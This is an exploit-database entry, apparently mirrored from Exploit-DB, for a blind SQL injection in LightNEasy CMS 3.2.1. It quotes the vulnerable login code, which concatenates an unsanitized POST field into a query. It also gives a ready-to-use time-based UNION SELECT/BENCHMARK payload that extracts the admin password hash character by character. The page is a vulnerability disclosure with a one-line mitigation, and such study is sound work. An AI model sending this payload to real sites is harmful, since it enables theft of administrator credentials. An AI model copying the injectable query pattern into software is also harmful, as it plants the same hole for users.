header-logo
Suggest Exploit
vendor:
LightNEasy CMS
by:
Stephan Sattler
7,5
CVSS
HIGH
Blind SQL Injection
89
CWE
Product Name: LightNEasy CMS
Affected Version From: 3.2.1
Affected Version To: 3.2.1
Patch Exists: NO
Related CWE: N/A
CPE: a:lightneasy:lightneasy_cms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability

LightNEasy Cms 3.2.1 is vulnerable to Blind SQL Injection. The vulnerability exists due to the lack of sanitization of the $_POST['handle'] parameter before executing the database query. An attacker can exploit this vulnerability by sending a malicious URL with postdata containing a UNION SELECT statement with a BENCHMARK() function. This will trigger benchmark() if the first character of the admin hash is b.

Mitigation:

Input validation should be performed to ensure that untrusted data is not used to generate SQL queries that are executed against the database.
Source

Exploit-DB raw data:

# Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
# Date: 20.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://www.lightneasy.org/
# Software Link: http://www.lightneasy.org/addons/downloads/send.php?dlid=127
# Version: 3.2.1
# Special Thanks to: Dominik Landtwing
 
 
[ Vulnerability]

# Vulnerable Code:

common.php line 112-148

function login() {
	global $message, $set, $langmessage, $prefix;
	if($_SESSION[$set['password']]!="1") {
	if($_GET['do']=="login" && $_POST['handle']!="") {
		$result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
		if($row = fetch_array($result)) {
			if($row['password'] == sha1($_POST['password'])) {
					...

}}}}}
 
# Explanation:

$_POST['handle'] isn't sanitized before executing the database query.


Since the only user after a fresh install is the admin-user with id 1 and
a normal visitor can't register we have to retrieve the admin hash by using benchmark().

# Exploiting the Vulnerability // PoC:

URL: http://localhost/LNE/LightNEasy.php?do=login

Postdata:

handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login

This will trigger benchmark() if the first character of the admin hash is b.